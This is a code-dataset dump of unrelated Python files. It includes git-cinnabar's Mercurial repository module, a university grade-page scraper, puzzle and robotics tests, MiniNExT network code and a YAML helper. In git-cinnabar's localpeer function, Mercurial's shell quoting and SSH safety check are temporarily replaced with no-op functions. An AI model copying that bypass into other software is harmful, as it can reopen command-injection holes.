common),\n b','.join(kwargs.get('bundlecaps', ())))\n header = readexactly(data, 4)\n if header == b'HG20':\n return unbundle20(self.ui, data)\n\n class Reader(object):\n def __init__(self, header, data):\n self.header = header\n self.data = data\n\n def read(self, length):\n result = self.header[:length]\n self.header = self.header[length:]\n if length > len(result):\n result += self.data.read(length - len(result))\n return result\n\n if header == b'err\\n':\n return Reader(b'', BytesIO())\n return Reader(header, data)\n\n def pushkey(self, namespace, key, old, new):\n return HgRepoHelper.pushkey(namespace, key, old, new)\n\n def unbundle(self, cg, heads, *args, **kwargs):\n data = HgRepoHelper.unbundle(cg, (hexlify(h) if h != b'force' else h\n for h in heads))\n if isinstance(data, str) and data.startswith(b'HG20'):\n data = unbundle20(self.ui, BytesIO(data[4:]))\n return data\n\n def local(self):\n return None\n\n def lookup(self, key):\n data = HgRepoHelper.lookup(key)\n if data:\n return unhexlify(data)\n raise Exception('Unknown revision %s' % fsdecode(key))\n\n\ndef unbundle_fh(fh, path):\n header = readexactly(fh, 4)\n magic, version = header[0:2], header[2:4]\n if magic != b'HG':\n raise Exception('%s: not a Mercurial bundle' % fsdecode(path))\n if version == b'10':\n alg = readexactly(fh, 2)\n return cg1unpacker(fh, alg)\n elif unbundle20 and version.startswith(b'2'):\n return unbundle20(get_ui(), fh)\n else:\n raise Exception('%s: unsupported bundle version %s' % (fsdecode(path),\n version.decode('ascii')))\n\n\n# Mercurial's bundlerepo completely unwraps bundles in $TMPDIR but we can be\n# smarter than that.\nclass bundlerepo(object):\n def __init__(self, path, fh=None):\n self._url = path\n if fh is None:\n fh = open(path, 'rb')\n self._bundle = unbundle_fh(fh, path)\n self._file = os.path.basename(path)\n\n def url(self):\n return self._url\n\n def init(self, store):\n self._store = store\n\n def _ensure_ready(self):\n assert hasattr(self, '_store')\n if self._store is None:\n return\n store = self._store\n self._store = None\n\n raw_unbundler = unbundler(self._bundle)\n self._dag = gitdag()\n branches = set()\n\n chunks = []\n\n def iter_and_store(iterator):\n for item in iterator:\n chunks.append(item)\n yield item\n\n changeset_chunks = ChunksCollection(progress_iter(\n 'Analyzing {} changesets from ' + fsdecode(self._file),\n iter_and_store(next(raw_unbundler, None))))\n\n for chunk in changeset_chunks.iter_initialized(lambda x: x,\n store.changeset,\n Changeset.from_chunk):\n extra = chunk.extra or {}\n branch = extra.get(b'branch', b'default')\n branches.add(branch)\n self._dag.add(chunk.node,\n tuple(p for p in (chunk.parent1, chunk.parent2)\n if p != NULL_NODE_ID), branch)\n self._heads = tuple(reversed(\n [unhexlify(h) for h in self._dag.all_heads(with_tags=False)]))\n self._branchmap = defaultdict(list)\n for tag, node in self._dag.all_heads():\n self._branchmap[tag].append(unhexlify(node))\n\n def repo_unbundler():\n yield iter(chunks)\n yield next(raw_unbundler, None)\n yield next(raw_unbundler, None)\n if next(raw_unbundler, None) is not None:\n assert False\n\n self._unbundler = repo_unbundler()\n\n def heads(self):\n self._ensure_ready()\n return self._heads\n\n def branchmap(self):\n self._ensure_ready()\n return self._branchmap\n\n def capable(self, capability):\n return False\n\n def listkeys(self, namespace):\n return {}\n\n def known(self, heads):\n self._ensure_ready()\n return [h in self._dag for h in heads]\n\n\ndef unbundler(bundle):\n if unbundle20 and isinstance(bundle, unbundle20):\n parts = iter(bundle.iterparts())\n for part in parts:\n if part.type != b'changegroup':\n logging.getLogger('bundle2').warning(\n 'ignoring bundle2 part: %s', part.type)\n continue\n logging.getLogger('bundle2').debug('part: %s', part.type)\n logging.getLogger('bundle2').debug('params: %r', part.params)\n version = part.params.get(b'version', b'01')\n if version == b'01':\n chunk_type = RawRevChunk01\n elif version == b'02':\n chunk_type = RawRevChunk02\n else:\n raise Exception('Unknown changegroup version %s'\n % version.decode('ascii'))\n cg = part\n break\n else:\n raise Exception('No changegroups in the bundle')\n else:\n chunk_type = RawRevChunk01\n cg = bundle\n\n yield chunks_in_changegroup(chunk_type, cg, 'changeset')\n yield chunks_in_changegroup(chunk_type, cg, 'manifest')\n yield iterate_files(chunk_type, cg)\n\n if unbundle20 and isinstance(bundle, unbundle20):\n for part in parts:\n logging.getLogger('bundle2').warning(\n 'ignoring bundle2 part: %s', part.type)\n\n\ndef get_clonebundle_url(repo):\n bundles = repo._call(b'clonebundles')\n\n try:\n if check_enabled('no-mercurial'):\n raise ImportError('Do not use mercurial')\n from mercurial.exchange import (\n parseclonebundlesmanifest,\n filterclonebundleentries,\n )\n except ImportError:\n parseclonebundlesmanifest = False\n\n if parseclonebundlesmanifest:\n class dummy(object):\n pass\n\n fakerepo = dummy()\n fakerepo.requirements = set()\n fakerepo.supportedformats = set()\n fakerepo.ui = repo.ui\n\n entries = parseclonebundlesmanifest(fakerepo, bundles)\n if not entries:\n return None\n\n entries = filterclonebundleentries(fakerepo, entries)\n if not entries:\n return None\n\n return entries[0].get(b'URL')\n\n supported_bundles = (b'v1', b'v2')\n supported_compressions = tuple(\n k for k, v in (\n (b'none', b'UN'),\n (b'gzip', b'GZ'),\n (b'bzip2', b'BZ'),\n (b'zstd', b'ZS'),\n ) if HgRepoHelper.supports((b'compression', v))\n )\n\n has_sni = getattr(ssl, 'HAS_SNI', False)\n\n logger = logging.getLogger('clonebundle')\n\n for line in bundles.splitlines():\n attrs = line.split()\n if not attrs:\n continue\n url = attrs.pop(0)\n logger.debug(url)\n attrs = {\n unquote_to_bytes(k): unquote_to_bytes(v)\n for k, _, v in (a.partition(b'=') for a in attrs)\n }\n logger.debug(attrs)\n if b'REQUIRESNI' in attrs and not has_sni:\n logger.debug('Skip because of REQUIRESNI, but SNI unsupported')\n continue\n\n spec = attrs.get(b'BUNDLESPEC')\n if not spec:\n logger.debug('Skip because missing BUNDLESPEC')\n continue\n\n typ, _, params = spec.partition(b';')\n compression, _, version = typ.partition(b'-')\n\n if compression not in supported_compressions:\n logger.debug('Skip because unsupported compression (%s)',\n compression)\n continue\n if version not in supported_bundles:\n logger.debug('Skip because unsupported bundle type (%s)',\n version)\n continue\n\n params_dict = {}\n for p in params.split(b':'):\n k, _, v = p.partition(b'=')\n params_dict[k] = v\n\n if 'stream' in params_dict:\n logger.debug('Skip because stream bundles are not supported')\n continue\n\n return url\n\n\ndef get_clonebundle(repo):\n url = Git.config('cinnabar.clonebundle', remote=repo.remote)\n if not url:\n url = get_clonebundle_url(repo)\n\n if not url:\n return None\n\n parsed_url = urlparse(url)\n if parsed_url.scheme not in (b'http', b'https'):\n logging.warn('Server advertizes clone bundle but provided a non '\n 'http/https url. Skipping.')\n return None\n\n sys.stderr.write('Getting clone bundle from %s\\n' % fsdecode(url))\n return get_bundle(url)\n\n\ndef get_bundle(url):\n reader = None\n if not changegroup:\n reader = BundleHelper.connect(url)\n if not reader:\n BundleHelper.close()\n if not reader:\n reader = HTTPReader(url)\n return unbundle_fh(reader, url)\n\n\n# TODO: Get the changegroup stream directly and send it, instead of\n# recreating a stream we parsed.\ndef store_changegroup(changegroup):\n changesets = next(changegroup, None)\n first_changeset = next(changesets, None)\n version = 1\n if isinstance(first_changeset, RawRevChunk02):\n version = 2\n with GitHgHelper.store_changegroup(version) as fh:\n def iter_chunks(iter):\n for chunk in iter:\n fh.write(struct.pack('>l', len(chunk) + 4))\n fh.write(chunk)\n yield chunk\n fh.write(struct.pack('>l', 0))\n\n yield iter_chunks(chain((first_changeset,), changesets))\n yield iter_chunks(next(changegroup, None))\n\n def iter_files(iter):\n last_name = None\n for name, chunk in iter:\n if name != last_name:\n if last_name is not None:\n fh.write(struct.pack('>l', 0))\n fh.write(struct.pack('>l', len(name) + 4))\n fh.write(name)\n last_name = name\n fh.write(struct.pack('>l', len(chunk) + 4))\n fh.write(chunk)\n yield name, chunk\n if last_name is not None:\n fh.write(struct.pack('>l', 0))\n fh.write(struct.pack('>l', 0))\n\n yield iter_files(next(changegroup, None))\n\n if next(changegroup, None) is not None:\n assert False\n\n\nclass BundleApplier(object):\n def __init__(self, bundle):\n self._bundle = store_changegroup(bundle)\n\n def __call__(self, store):\n changeset_chunks = ChunksCollection(progress_iter(\n 'Reading {} changesets', next(self._bundle, None)))\n\n for rev_chunk in progress_iter(\n 'Reading and importing {} manifests',\n next(self._bundle, None)):\n pass\n\n def enumerate_files(iter):\n last_name = None\n count_names = 0\n for count_chunks, (name, chunk) in enumerate(iter, start=1):\n if name != last_name:\n count_names += 1\n last_name = name\n yield (count_chunks, count_names), chunk\n\n for rev_chunk in progress_enum(\n 'Reading and importing {} revisions of {} files',\n enumerate_files(next(self._bundle, None))):\n pass\n\n if next(self._bundle, None) is not None:\n assert False\n del self._bundle\n\n for cs in progress_iter(\n 'Importing {} changesets',\n changeset_chunks.iter_initialized(lambda x: x, store.changeset,\n Changeset.from_chunk)):\n try:\n store.store_changeset(cs)\n except NothingToGraftException:\n logging.debug('Cannot graft %s, not importing.', cs.node)\n\n\nSHA1_RE = re.compile(b'[0-9a-fA-F]{1,40}$')\n\n\ndef do_cinnabarclone(repo, manifest, store):\n GRAFT = {\n None: None,\n b'false': False,\n b'true': True,\n }\n try:\n enable_graft = Git.config(\n 'cinnabar.graft', remote=repo.remote, values=GRAFT)\n except InvalidConfig:\n enable_graft = None\n\n url = None\n candidates = []\n for line in manifest.splitlines():\n line = line.strip()\n if not line:\n continue\n spec, _, params = line.partition(b' ')\n params = {\n k: v\n for k, _, v in (p.partition(b'=') for p in params.split())\n }\n graft = params.pop(b'graft', None)\n if params:\n # Future proofing: ignore lines with unknown params, even if we\n # support some that are present.\n continue\n # When grafting, ignore lines without a graft revision.\n if store._graft and not graft:\n continue\n # When explicitly disabling graft, ignore lines with a graft revision.\n if enable_graft is False and graft:\n continue\n\n graft = graft.split(b',') if graft else []\n graft_u = []\n for g in graft:\n if SHA1_RE.match(g):\n graft_u.append(g.decode('ascii'))\n if len(graft) != len(graft_u):\n continue\n if graft:\n revs = list(Git.iter('rev-parse', '--revs-only', *graft_u))\n if len(revs) != len(graft):\n continue\n # We apparently have all the grafted revisions locally, ensure\n # they're actually reachable.\n if not any(Git.iter(\n 'rev-list', '--branches', '--tags', '--remotes',\n '--max-count=1', '--ancestry-path', '--stdin',\n stdin=(b'^%s^@' % c for c in graft))):\n continue\n\n candidates.append((spec, len(graft) != 0))\n\n if enable_graft is not False:\n graft_filters = [True, False]\n else:\n graft_filters = [False]\n for graft_filter in graft_filters:\n for spec, graft in candidates:\n if graft == graft_filter:\n url, _, branch = spec.partition(b'#')\n url, branch = (url.split(b'#', 1) + [None])[:2]\n if url:\n break\n if url:\n break\n\n if not url:\n logging.warn('Server advertizes cinnabarclone but didn\\'t provide '\n 'a git repository url to fetch from.')\n return False\n\n parsed_url = urlparse(url)\n if parsed_url.scheme not in (b'http', b'https', b'git'):\n logging.warn('Server advertizes cinnabarclone but provided a non '\n 'http/https git repository. Skipping.')\n return False\n sys.stderr.write('Fetching cinnabar metadata from %s\\n' % fsdecode(url))\n sys.stderr.flush()\n return store.merge(url, repo.url(), branch)\n\n\ndef getbundle(repo, store, heads, branch_names):\n if isinstance(repo, bundlerepo):\n bundle = repo._unbundler\n else:\n common = findcommon(repo, store, store.heads(branch_names))\n logging.info('common: %s', common)\n bundle = None\n got_partial = False\n if not common:\n if not store._has_metadata:\n manifest = Git.config('cinnabar.clone', remote=repo.remote)\n if manifest is None and repo.capable(b'cinnabarclone'):\n manifest = repo._call(b'cinnabarclone')\n if manifest:\n got_partial = do_cinnabarclone(repo, manifest, store)\n if not got_partial:\n if check_enabled('cinnabarclone'):\n raise Exception('cinnabarclone failed.')\n logging.warn('Falling back to normal clone.')\n if not got_partial and repo.capable(b'clonebundles'):\n bundle = get_clonebundle(repo)\n got_partial = bool(bundle)\n if not got_partial and check_enabled('clonebundles'):\n raise Exception('clonebundles failed.')\n if bundle:\n bundle = unbundler(bundle)\n # Manual move semantics\n apply_bundle = BundleApplier(bundle)\n del bundle\n apply_bundle(store)\n if not changegroup:\n BundleHelper.close()\n if got_partial:\n # Eliminate the heads that we got from the clonebundle or\n # cinnabarclone.\n heads = [h for h in heads if not store.changeset_ref(h)]\n if not heads:\n return\n common = findcommon(repo, store, store.heads(branch_names))\n logging.info('common: %s', common)\n\n kwargs = {}\n if unbundle20 and repo.capable(b'bundle2'):\n bundle2caps = {\n b'HG20': (),\n b'changegroup': (b'01', b'02'),\n }\n kwargs['bundlecaps'] = set((\n b'HG20',\n b'bundle2=%s' % quote_from_bytes(\n encodecaps(bundle2caps)).encode('ascii')))\n\n bundle = repo.getbundle(b'bundle', heads=[unhexlify(h) for h in heads],\n common=[unhexlify(h) for h in common],\n **kwargs)\n\n bundle = unbundler(bundle)\n\n # Manual move semantics\n apply_bundle = BundleApplier(bundle)\n del bundle\n apply_bundle(store)\n\n\ndef push(repo, store, what, repo_heads, repo_branches, dry_run=False):\n def heads():\n for sha1 in store.heads(repo_branches):\n yield b'^%s' % store.changeset_ref(sha1)\n\n def local_bases():\n h = chain(heads(), (w for w, _, _ in what if w))\n for c, t, p in GitHgHelper.rev_list(b'--topo-order', b'--full-history',\n b'--boundary', *h):\n if c[:1] != b'-':\n continue\n yield store.hg_changeset(c[1:])\n\n for w, _, _ in what:\n if w:\n rev = store.hg_changeset(w)\n if rev:\n yield rev\n\n common = findcommon(repo, store, set(local_bases()))\n logging.info('common: %s', common)\n\n def revs():\n for sha1 in common:\n yield b'^%s' % store.changeset_ref(sha1)\n\n revs = chain(revs(), (w for w, _, _ in what if w))\n push_commits = list((c, p) for c, t, p in GitHgHelper.rev_list(\n b'--topo-order', b'--full-history', b'--parents', b'--reverse', *revs))\n\n pushed = False\n if push_commits:\n has_root = any(not p for (c, p) in push_commits)\n force = all(v for _, _, v in what)\n if has_root and repo_heads:\n if not force:\n raise Exception('Cannot push a new root')\n else:\n logging.warn('Pushing a new root')\n if force:\n repo_heads = [b'force']\n else:\n if not repo_heads:\n repo_heads = [NULL_NODE_ID]\n repo_heads = [unhexlify(h) for h in repo_heads]\n if push_commits and not dry_run:\n if repo.local():\n repo.local().ui.setconfig(b'server', b'validate', True)\n if unbundle20:\n b2caps = repo.capable(b'bundle2') or {}\n else:\n b2caps = {}\n if b2caps:\n b2caps = decodecaps(unquote_to_bytes(b2caps))\n logging.getLogger('bundle2').debug('%r', b2caps)\n if b2caps:\n b2caps[b'replycaps'] = encodecaps({b'error': [b'abort']})\n cg = create_bundle(store, push_commits, b2caps)\n if not isinstance(repo, HelperRepo):\n cg = chunkbuffer(cg)\n if not b2caps:\n cg = cg1unpacker(cg, b'UN')\n reply = repo.unbundle(cg, repo_heads, b'')\n if unbundle20 and isinstance(reply, unbundle20):\n parts = iter(reply.iterparts())\n for part in parts:\n logging.getLogger('bundle2').debug('part: %s', part.type)\n logging.getLogger('bundle2').debug('params: %r', part.params)\n if part.type == b'output':\n sys.stderr.write(fsdecode(part.read()))\n elif part.type == b'reply:changegroup':\n # TODO: should check params['in-reply-to']\n reply = int(part.params[b'return'])\n elif part.type == b'error:abort':\n message = part.params[b'message'].decode('utf-8')\n hint = part.params.get(b'hint')\n if hint:\n message += '\\n\\n' + hint.decode('utf-8')\n raise Exception(message)\n else:\n logging.getLogger(b'bundle2').warning(\n 'ignoring bundle2 part: %s', part.type)\n pushed = reply != 0\n return gitdag(push_commits) if pushed or dry_run else ()\n\n\ndef get_ui():\n if not changegroup:\n return None\n ui_ = ui.ui()\n ui_.fout = ui_.ferr\n ui_.setconfig(b'ui', b'interactive', False)\n ui_.setconfig(b'progress', b'disable', True)\n ssh = environ(b'GIT_SSH_COMMAND')\n if not ssh:\n ssh = environ(b'GIT_SSH')\n if ssh:\n ssh = procutil.shellquote(ssh)\n if ssh:\n ui_.setconfig(b'ui', b'ssh', ssh)\n return ui_\n\n\ndef munge_url(url):\n parsed_url = urlparse(url)\n # On Windows, assume that a one-letter scheme and no host means we\n # originally had something like c:/foo.\n if not parsed_url.scheme or (\n sys.platform == 'win32' and not parsed_url.netloc and\n len(parsed_url.scheme) == 1):\n if parsed_url.scheme:\n path = b'%s:%s' % (parsed_url.scheme, parsed_url.path)\n else:\n path = parsed_url.path\n return ParseResult(\n b'file',\n b'',\n path,\n parsed_url.params,\n parsed_url.query,\n parsed_url.fragment)\n\n if parsed_url.scheme != b'hg':\n return parsed_url\n\n proto = b'https'\n host = parsed_url.netloc\n if b':' in host:\n host, port = host.rsplit(b':', 1)\n if b'.' in port:\n port, proto = port.split(b'.', 1)\n if not port.isdigit():\n proto = port\n port = None\n if port:\n host = host + b':' + port\n return ParseResult(proto, host, parsed_url.path, parsed_url.params,\n parsed_url.query, parsed_url.fragment)\n\n\nclass Remote(object):\n def __init__(self, remote, url):\n if remote.startswith((b'hg::', b'hg://')):\n self.name = None\n else:\n self.name = remote\n self.parsed_url = munge_url(url)\n self.url = urlunparse(self.parsed_url)\n self.git_url = url if url.startswith(b'hg://') else b'hg::%s' % url\n\n\nif changegroup:\n def localpeer(ui, path):\n ui.setconfig(b'ui', b'ssh', b'')\n\n has_checksafessh = hasattr(util, 'checksafessh')\n\n sshargs = procutil.sshargs\n shellquote = procutil.shellquote\n quotecommand = procutil.quotecommand\n url = util.url\n if has_checksafessh:\n checksafessh = util.checksafessh\n\n procutil.sshargs = lambda *a: b''\n procutil.shellquote = lambda x: x\n if has_checksafessh:\n util.checksafessh = lambda x: None\n\n # In very old versions of mercurial, shellquote was not used, and\n # double quotes were hardcoded. Remove them by overriding\n # quotecommand.\n def override_quotecommand(cmd):\n cmd = cmd.lstrip()\n if cmd.startswith(b'\"'):\n cmd = cmd[1:-1]\n return quotecommand(cmd)\n procutil.quotecommand = override_quotecommand\n\n class override_url(object):\n def __init__(self, *args, **kwargs):\n self.scheme = b'ssh'\n self.host = b'localhost'\n self.port = None\n self.path = path\n self.user = b'user'\n self.passwd = None\n util.url = override_url\n\n repo = sshpeer(ui, path, False)\n\n if has_checksafessh:\n util.checksafessh = checksafessh\n util.url = url\n procutil.quotecommand = quotecommand\n procutil.shellquote = shellquote\n procutil.sshargs = sshargs\n\n return repo\n\n\ndef get_repo(remote):\n repo = _get_repo(remote)\n repo.remote = remote.name\n return repo\n\n\ndef _get_repo(remote):\n if not changegroup or experiment('wire'):\n if not changegroup and not check_enabled('no-mercurial'):\n logging.warning('Mercurial libraries not found. Falling back to '\n 'experimental native access.')\n\n stream = HgRepoHelper.connect(remote.url)\n if stream:\n return bundlerepo(remote.url, stream)\n return HelperRepo(remote.url)\n\n if remote.parsed_url.scheme == b'file':\n # Make file://c:/... paths work by taking the netloc\n path = remote.parsed_url.netloc + remote.parsed_url.path\n if sys.platform == 'win32':\n # TODO: This probably needs more thought.\n path = path.lstrip(b'/')\n if not os.path.isdir(path):\n return bundlerepo(path)\n ui = get_ui()\n if changegroup and remote.parsed_url.scheme == b'file':\n repo = localpeer(ui, path)\n else:\n try:\n repo = hg.peer(ui, {}, remote.url)\n except (error.RepoError, HTTPError, IOError):\n return bundlerepo(remote.url, HTTPReader(remote.url))\n\n assert repo.capable(b'getbundle')\n\n return repo\n","repo_name":"sergeykish/git-cinnabar","sub_path":"cinnabar/hg/repo.py","file_name":"repo.py","file_ext":"py","file_size_in_byte":41044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"30569543372","text":"n = int(raw_input())\r\na1 = raw_input().split(' ')\r\nA=1\r\nfor i in range(n):\r\n\tA = A * int(a1[i])\r\nm = int(raw_input())\t\r\na2 = raw_input().split(' ')\r\nB=1\r\nfor i in range(m):\r\n\tB = B*int(a2[i])\r\nC = A%B\r\nA=B\r\nB=C\r\nwhile C != 0:\r\n\tC=A%B\r\n\tA=B\r\n\tB=C\r\nif A >= 1000000000:\r\n\tprint('%09d' % (A%1000000000))\r\nelse:\r\n\tprint(A)","repo_name":"conankun/Dovelet","sub_path":"coci_zadaca/1862345_AC_1.06SEC.py","file_name":"1862345_AC_1.06SEC.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"35850381904","text":"from genericpath import exists\nimport urllib3\nimport urllib\nimport json\nfrom bs4 import BeautifulSoup\nimport time\nimport os\nfrom urllib3 import request\n\nfrom urllib3.util.url import Url\n\ninfor_base_url = \"https://inforestudante.uc.pt\"\ninfor_url = \"https://inforestudante.uc.pt/nonio/security/login.do\"\n\nform_data = {\"username\": \"\", \"password\": \"\"}\nexcude_years = [\"2015/2016\", \"2016/2017\"]\n\n\ndef saca_disciplinas(page: BeautifulSoup, path):\n\n detalhes_buttons = page.find_all(class_=\"botaodetalhes\")\n\n for button in detalhes_buttons:\n name = button.parent.parent.contents[1].text # 0 is newline\n\n r = http.request(\n 'GET', \"https://inforestudante.uc.pt/nonio/pautas/\"+button['href'], headers=headers)\n\n print(f\"GET {name} status: {r.status}\")\n if r.status != 200:\n continue\n\n if not os.path.isdir(path):\n os.makedirs(path, exist_ok=True)\n with open(f\"{path}/{name}.html\", \"w\") as f:\n f.write(r.data.decode())\n\n\nif __name__ == \"__main__\":\n http = urllib3.PoolManager()\n\n # GET infor page\n r = http.request('GET', infor_url)\n print(f\"GET {infor_url}, status: {r.status}\")\n if r.status != 200:\n exit()\n\n page = BeautifulSoup(r.data, 'html.parser')\n cookie = r.headers[\"Set-Cookie\"].split()[0]\n headers = {\"Cookie\": cookie}\n\n login_form = page.find(id=\"loginFormBean\")\n action = login_form[\"action\"]\n\n login_url = infor_base_url+action\n\n # POST login attempt\n\n r = http.request('POST', login_url, fields=form_data, retries=5)\n\n print(f\"POST Login request status: {r.status}\")\n if r.status != 200:\n exit()\n\n # GET pautas\n page = BeautifulSoup(r.data, 'html.parser')\n m = page.find(class_=\"menu_30\")\n pautas_url = urllib.parse.urljoin(\n \"https://inforestudante.uc.pt/nonio/dashboard/dashboard.do\", m.parent['href'])\n\n r = http.request('GET', pautas_url, headers=headers)\n print(f\"GET {pautas_url} status: {r.status}\")\n if r.status != 200:\n exit()\n\n # for each year\n page = BeautifulSoup(r.data, 'html.parser')\n tr = page.find(id=\"linhaAnoLectivoMinhasUc\")\n select = tr.contents[3].contents[1]\n options = select.find_all(\"option\")\n\n selected = select.find(selected=\"selected\")\n year = selected[\"value\"]\n\n next_arg = select[\"onchange\"].split(\"'\")[1]\n next_url = \"https://inforestudante.uc.pt/nonio/pautas/\"+next_arg\n\n path = f\"./pautas/{year.replace('/','-')}\"\n\n saca_disciplinas(page, path)\n\n # download other years\n for option in options[1:]:\n ano = option[\"value\"]\n if ano in excude_years:\n continue\n r = http.request(\"POST\", next_url, headers=headers, fields={\n \"anoLectivoMinhasUCSeleccionado\": ano})\n print(f\"GET ano {ano} status: {r.status}\")\n if r.status != 200:\n exit()\n\n page = BeautifulSoup(r.data, 'html.parser')\n tr = page.find(id=\"linhaAnoLectivoMinhasUc\")\n select = tr.contents[3].contents[1]\n\n selected = select.find(selected=\"selected\")\n year = selected[\"value\"]\n\n next_arg = select[\"onchange\"].split(\"'\")[1]\n next_url = \"https://inforestudante.uc.pt/nonio/pautas/\"+next_arg\n\n path = f\"./pautas/{year.replace('/','-')}\"\n\n saca_disciplinas(page, path)\n","repo_name":"OlexYakov/notascrapper","sub_path":"scrap.py","file_name":"scrap.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4282212392","text":"import unittest\n\nfrom Genetic_Algorithm.Operators.min_conflicts import MinConflicts\nfrom Genetic_Algorithm.population import Population\nfrom Utilities.lookup_tables import create_attack_lut, create_file_masks, create_rank_masks, create_file_square_lut\n\n\nclass MyTestCase(unittest.TestCase):\n\n def setUp(self) -> None:\n self.size = 8\n\n create_attack_lut(self.size)\n create_file_masks(self.size)\n create_rank_masks(self.size)\n create_file_square_lut(self.size)\n\n self.population = Population(1000)\n self.population.populate(self.size)\n\n def test_something(self):\n mc = MinConflicts(1., 1, self.size)\n chromosomes = [g.chromosome for g in self.population.genomes]\n\n for c in chromosomes:\n new_c = mc.execute([c])[0]\n self.assertEqual(self.size, bin(new_c).count(\"1\"))\n self.assertNotEqual(c, new_c)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"thelonMo/NQueensProblem---GA-MinConflicts","sub_path":"Tests/test_min_conflicts.py","file_name":"test_min_conflicts.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28592562784","text":"quadrado = input ('Digite o valor correspondente ao lado de um quadrado: ')\nlqua = float(quadrado)\n\nperimetro = 4 * lqua\narea = lqua ** 2\n\ninpe = int(perimetro)\ninar = int(area)\n\nprint('perímetro:',inpe,'- área:',inar)\n","repo_name":"Digitalen-Brasil/Python","sub_path":"Coursera/Parte 1/Exercícios Avaliativos/Avaliação - Semana 2/quadrado.py","file_name":"quadrado.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30676694205","text":"\"\"\"\nExtended \"net\" module for MiniNExT.\n\"\"\"\n\nfrom mininet.log import info\nfrom mininet.net import Mininet\n\n\nclass MiniNExT(Mininet):\n\n \"\"\"Override on the default Mininet class to enable use of MiniNExT enabled\n hosts\"\"\"\n\n def __init__(self, *args, **kwargs):\n info(\"** Using Mininet Extended (MiniNExT) Handler\\n\")\n Mininet.__init__(self, *args, **kwargs)\n\n def configHosts(self):\n \"Configure the networks hosts.\"\n\n # Let Mininet handle the baseline initialization\n Mininet.configHosts(self)\n\n info('*** Starting host services\\n')\n for host in self.hosts:\n returnCodes = host.autoStartServices()\n if returnCodes:\n # print detailed information on the started services\n statusStr = \"%s: \" % (host)\n for service, returnCode in returnCodes.iteritems():\n if returnCode['ret'] == 0:\n result = 'OK'\n else:\n result = 'FAIL'\n statusStr += \"%s (%s) \" % (service, result)\n info(statusStr + '\\n')\n\n def stop(self):\n \"Stop the controller(s), switches and hosts\"\n\n # First, stop all services in the network\n info('*** Stopping host services\\n')\n for host in self.hosts:\n returnCodes = host.autoStopServices()\n if returnCodes:\n # print detailed information on the stopped services\n statusStr = \"%s: \" % (host)\n for service, returnCode in returnCodes.iteritems():\n if returnCode['ret'] == 0:\n result = 'OK'\n else:\n result = 'FAIL'\n statusStr += \"%s (%s) \" % (service, result)\n info(statusStr + '\\n')\n\n # Then, let Mininet take over and stop everything\n Mininet.stop(self)\n","repo_name":"USC-NSL/miniNExT","sub_path":"mininext/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"54"} +{"seq_id":"21293514156","text":"import pytest\nimport numpy as np\nfrom utils import check_q\n\n@pytest.mark.franka\ndef test_franka_panda(n_attempts):\n from ikfast_franka_panda import get_fk, get_ik, get_dof, get_free_dof\n print('*****************\\n franka_panda ikfast_pybind test')\n n_jts = get_dof()\n n_free_jts = get_free_dof()\n # assert n_jts == 6 and n_free_jts == 1\n print('franka_panda: \\nn_jts: {}, n_free_jts: {}'.format(n_jts, n_free_jts))\n\n feasible_ranges = {\n 'robot_joint_1' : {'lower' : -2.8973, 'upper' : 2.8973}, \n 'robot_joint_2' : {'lower' : -1.7628, 'upper' : 1.7628},\n 'robot_joint_3' : {'lower' : -2.8973, 'upper' : 2.8973},\n 'robot_joint_4' : {'lower' : -3.0718, 'upper' : -0.0698},\n 'robot_joint_5' : {'lower' : -2.8973, 'upper' : 2.8973},\n 'robot_joint_6' : {'lower' : -0.0175, 'upper' : 3.7525},\n 'robot_joint_7' : {'lower' : -2.8973, 'upper' : 2.8973},\n }\n\n pos, rot = get_fk([0] * n_jts)\n assert not get_ik(pos, rot, [])\n assert not get_ik(pos, rot, [1,1])\n assert not get_ik(pos, rot, [1,1,1,1])\n\n print(\"Testing random configurations...\")\n for _ in range(n_attempts):\n q = np.random.rand(n_jts)\n for i, jt_name in enumerate(feasible_ranges.keys()):\n q[i] = q[i] * (feasible_ranges[jt_name]['upper'] - feasible_ranges[jt_name]['lower']) + \\\n feasible_ranges[jt_name]['lower']\n check_q(get_fk, get_ik, q, feasible_ranges, free_joint_ids=[6])\n print(\"Done!\")","repo_name":"yijiangh/ikfast_pybind","sub_path":"tests/test_franka.py","file_name":"test_franka.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"54"} +{"seq_id":"3365186014","text":"import os\nimport yaml\n\nfrom yaml import SafeDumper\nfrom attrdict import AttrDict\n\nfrom .common import create_dir\n\n\nclass YamlManager:\n yaml_cache = {'attr': {}, 'dict': {}}\n\n @classmethod\n def read_yaml(cls, path: str, _dict: bool = False, _refresh=True):\n t = 'dict' if _dict else 'attr'\n\n if path in cls.yaml_cache[t] and not _refresh:\n return cls.yaml_cache[t][path]\n\n with open(path, mode='r', encoding='utf-8') as f:\n content = yaml.safe_load(f)\n if not _dict:\n content = AttrDict(content)\n\n cls.yaml_cache[t][path] = content\n\n return content\n\n @classmethod\n def create_yaml(cls, path: str, data: dict, overwrite: bool = False):\n SafeDumper.add_representer(\n type(None),\n lambda dumper, value: dumper.represent_scalar(u'tag:yaml.org,2002:null', ''),\n )\n create_dir(path, is_file=True)\n\n if os.path.exists(path) and not overwrite:\n return False\n\n with open(path, mode='w+', encoding='utf-8') as file:\n yaml.safe_dump(data, file, indent=4, default_flow_style=False, allow_unicode=True)\n\n return True\n","repo_name":"AmiyaBot/Amiya-Bot","sub_path":"core/util/yamlManager.py","file_name":"yamlManager.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":440,"dataset":"github-code","pt":"54"} +{"seq_id":"32430652150","text":"# You are at the shooting gallery again, and you need a program that helps you keep track of moving 